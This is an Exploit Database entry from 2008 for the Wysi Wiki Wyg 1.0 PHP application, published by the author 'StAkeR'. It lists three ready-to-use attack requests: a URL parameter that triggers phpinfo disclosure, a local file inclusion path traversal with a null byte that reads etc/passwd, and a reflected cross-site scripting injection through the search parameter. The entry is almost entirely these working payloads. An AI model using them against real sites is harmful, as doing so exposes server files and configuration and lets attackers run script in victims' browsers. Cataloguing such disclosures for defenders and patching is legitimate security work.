Exploit Database - Logo

Wysi Wiki Wyg 1.0 - Local File Inclusion / Cross-Site Scripting / PHPInfo

EDB-ID: 6042 Author: StAkeR Published: 2008-10-20
CVE: CVE-2008-3205... Type: Webapps Platform: PHP
Aliases: N/A Advisory/Source: N/A Tags: Vulnerability
E-DB Verified: Verified Exploit: Download Exploit Code Download / View Raw Vulnerable App: N/A
« Previous Exploit Next Exploit » 
/*
   
   Wysi Wiki Wyg 1.0 (LFI,XSS,PHPInfo) Remote Vulnerabilities
   ----------------------------------------------------------
   By StAkeR[at]hotmail[dot]it
   http://www.easy-script.com/scripts-dl/wysiwikiwyg10.zip
   ----------------------------------------------------------

  1- PHPInfo Disclosure 
  -  index.php?categup=isset
  
  2- Local File Inclusion (LFI) (MQ Off)
  -  index.php?c=../../../&a=etc/passwd%00
  
  3- Cross Site Scripting (XSS)
  -  index.php?c=wikiwizi&a=recherche&s=<script>[Javascript]</script>



*/

# milw0rm.com [2008-10-20]

Related Exploits

Trying to match CVEs (3): CVE-2008-3205, CVE-2008-5322, CVE-2008-5323
Trying to match OSVDBs (3): 47022, 50462, 50586
Other Possible E-DB Search Terms: Wysi Wiki Wyg 1.0,  Wysi Wiki Wyg
Date D V Title Author
2008-12-12Download Exploit Code Verified Wysi Wiki Wyg 1.0 - Remote Password Retrieve ExploitStAkeR
Menu